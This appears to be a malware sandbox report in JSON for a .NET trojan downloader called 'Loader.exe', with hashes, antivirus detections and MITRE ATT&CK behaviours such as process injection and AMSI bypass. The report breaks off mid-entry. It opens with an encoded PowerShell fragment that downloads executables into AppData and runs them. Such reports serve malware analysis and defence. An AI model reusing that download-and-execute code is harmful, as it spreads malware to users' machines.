wArACkAIAB7AA0ACgAgACAAIAAgACQAZgBpAGwAZQBQAGEAdABoACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkADQAKACAAIAAgACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAbABuAGsAWwAkAGkAXQAsACAAJABmAGkAbABlAFAAYQB0AGgAKQANAAoAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGYAaQBsAGUAUABhAHQAaAANAAoAfQA=1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791544487095,"unified_at":"2026-10-09T11:14:47.095Z","metadata":{"hashes":{"sha256":"03d95d9ae7b1908f95fec4c2932a36c9e662530cc09b91c870886dda3deeab9b","sha1":"014ee46292e7a949a21aa29ba11318e099ec1d50","md5":"f6e195d0b763235a06093d8013b1d5dc","sha512":"69b6994dd16269be04533b35313bed89ad8d9f13cd00f693a45d88f8732c65ccfdce91375a9f2f226b2a16b2e2516bc809af434dae235d889c2d545d7b128771","ssdeep":"768:/pmQZqx1lYcJnqnaFFzvI/PLX8K3omDe0XbOfC11kqtY:x0lYovIbXr3omCMbO/qtY","ssdeep_chunks":["768:/pmQZqx","768:pmQZqx1","768:mQZqx1l","768:QZqx1lY","768:Zqx1lYc","768:qx1lYcJ","768:x1lYcJn","768:1lYcJnq","768:lYcJnqn","768:YcJnqna","768:cJnqnaF","768:JnqnaFF","768:nqnaFFz","768:qnaFFzv","768:naFFzvI","768:aFFzvI/","768:FFzvI/P","768:FzvI/PL","768:zvI/PLX","768:vI/PLX8","768:I/PLX8K","768:/PLX8K3","768:PLX8K3o","768:LX8K3om","768:X8K3omD","768:8K3omDe","768:K3omDe0","768:3omDe0X","768:omDe0Xb","768:mDe0XbO","768:De0XbOf","768:e0XbOfC","768:0XbOfC1","768:XbOfC11","768:bOfC11k","768:OfC11kq","768:fC11kqt","768:C11kqtY","1536:/pmQZqx","1536:pmQZqx1","1536:mQZqx1l","1536:QZqx1lY","1536:Zqx1lYc","1536:qx1lYcJ","1536:x1lYcJn","1536:1lYcJnq","1536:lYcJnqn","1536:YcJnqna","1536:cJnqnaF","1536:JnqnaFF","1536:nqnaFFz","1536:qnaFFzv","1536:naFFzvI","1536:aFFzvI/","1536:FFzvI/P","1536:FzvI/PL","1536:zvI/PLX","1536:vI/PLX8","1536:I/PLX8K","1536:/PLX8K3","1536:PLX8K3o","1536:LX8K3om","1536:X8K3omD","1536:8K3omDe","1536:K3omDe0","1536:3omDe0X","1536:omDe0Xb","1536:mDe0XbO","1536:De0XbOf","1536:e0XbOfC","1536:0XbOfC1","1536:XbOfC11","1536:bOfC11k","1536:OfC11kq","1536:fC11kqt","1536:C11kqtY","768:x0lYovI","768:0lYovIb","768:lYovIbX","768:YovIbXr","768:ovIbXr3","768:vIbXr3o","768:IbXr3om","768:bXr3omC","768:Xr3omCM","768:r3omCMb","768:3omCMbO","768:omCMbO/","768:mCMbO/q","768:CMbO/qt","768:MbO/qtY"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744","pehash":"15add624456c3ae05c4f33723da2e7439a94b321"},"file_info":{"file_name":"Loader.exe","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":36352,"entropy":5.84,"compile_timestamp":"2025-03-20T14:43:11","is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1742877874000,"last_seen":1791441396000,"last_multi_scan":1791441396000},"pe_metadata":{"is_dll":false,"is_packed":false,"section_count":3,"import_count":0,"export_count":0,"embedded_file_count":2,"sections":[{"name":".text","virtual_address":"0x2000","virtual_size":33652,"raw_size":33792},{"name":".rsrc","virtual_address":"0xc000","virtual_size":1240,"raw_size":1536},{"name":".reloc","virtual_address":"0xe000","virtual_size":12,"raw_size":512}],"section_names":[".text",".rsrc",".reloc"],"imported_dlls":null,"imported_functions":null}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":13,"suspicious_count":0,"total_engines":24},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":98},"sandbox_signatures":{"informative_count":241,"suspicious_count":23,"malicious_count":5,"total":269},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Wacatac","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.76107448","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.76107448 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Generik.NHXJPPI trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"HEUR:TrojanDownloader/MSIL.Agent.at","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan-Downloader ( 005cff661 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"capa_access__NET_resource","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"malicious","threat_name":"Trojan-JAFF!F6E195D0B763","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/ABTrojan.KGFP-5998","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.MSIL_Heur.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Contains reference to transaction activity (Powershell command string)"},{"type":"informative","value":"Contains ability to receive remote commands (Powershell command string)"},{"type":"informative","value":"Contains ability to run commands or expressions (Powershell command string)"},{"type":"informative","value":"Contains ability to run commands from session history (Powershell command string)"},{"type":"informative","value":"Dotnet code contains module to build PowerShell event"},{"type":"informative","value":"Executes Powershell command strings"},{"type":"informative","value":"Contains ability to run commands (Powershell command string)"},{"type":"informative","value":"Contains ability to add modules to the current session (Powershell command string)"},{"type":"informative","value":"Observed Powershell command strings"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Found Native API in Dotnet file"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to start services (Powershell command string)"},{"type":"informative","value":"Contains ability to restart services (Powershell command string)"},{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Contains ability to call WMI method (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"},{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Creates/modifies Windows services using PowerShell"},{"type":"informative","value":"Contains ability to create a Windows service (Powershell command string)"},{"type":"informative","value":"Contains ability to create/modify Windows services (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"},{"type":"informative","value":"Contains ability to start a process (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Persistence","technique":"Path Interception by PATH Environment Variable","attack_id":"T1574.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/007","identifiers":[{"type":"informative","value":"References PATH environment registry keys"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"Contains reference to Windows Startup folder"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Persistence","technique":"BITS Jobs","attack_id":"T1197","attack_id_wiki":"https://attack.mitre.org/techniques/T1197","identifiers":[{"type":"informative","value":"Contains reference to background jobs (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"tactic":"Persistence","technique":"Windows Management Instrumentation Event Subscription","attack_id":"T1546.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/003","identifiers":[{"type":"informative","value":"Contains ability to subscribe to a WMI event (Powershell command string)"},{"type":"informative","value":"Contains ability to create/update instances of WMI classes (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"suspicious","value":"Uses powershell with an encoded commandline"},{"type":"informative","value":"Contains ability to load manifest resource from assembly (Dotnet)"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"Invokes a process with a long commandline"},{"type":"suspicious","value":"YARA signature match - PowerShell with Base64 encoding"},{"type":"informative","value":"Contains CRYPTO related strings"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Can loads assembly that contains the code that is currently executing [Dotnet]"},{"type":"informative","value":"Contains ability to load module (Dotnet string)"},{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains ability to modify Windows Defender preferences (Powershell command string)"},{"type":"informative","value":"Contains ability to terminate services/features (Powershell command string)"},{"type":"informative","value":"Contains ability to modify PowerShell execution policies (Powershell command string)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Contains ability to delete a property and its value from an item (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution (Powershell command string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to clear content (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"suspicious","value":"Uses powershell with a windows hidden commandline param"},{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Contains ability to create/modify item values (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Defense Evasion","technique":"Match Legitimate Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"informative","value":"Contains ability to write/modify file content (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"tactic":"Defense Evasion","technique":"Clear Windows Event Logs","attack_id":"T1070.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/001","identifiers":[{"type":"informative","value":"Contains ability to delete all entries from an event log (API string)"},{"type":"informative","value":"Able to remove event log (PowerShell command string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"tactic":"Defense Evasion","technique":"Disable Windows Event Logging","attack_id":"T1562.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/002","identifiers":[{"type":"informative","value":"Contains ability to modify EventLog (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Able to delete items (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Defense Evasion","technique":"Impair Defenses","attack_id":"T1562","attack_id_wiki":"https://attack.mitre.org/techniques/T1562","identifiers":[{"type":"informative","value":"Uses powershell with a add-mppreference commandline param"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"suspicious","value":"Queries kernel debugger information"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"suspicious","value":"Uses a .NET obfuscator to hide its code"},{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Contains ability to load content into memory (Dotnet)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"tactic":"Defense Evasion","technique":"Clear Command History","attack_id":"T1070.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/003","identifiers":[{"type":"informative","value":"Contains ability to clear Powershell session command history (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"tactic":"Defense Evasion","technique":"Rename System Utilities","attack_id":"T1036.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/003","identifiers":[{"type":"informative","value":"Contains ability to rename items (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"},{"type":"informative","value":"Creates 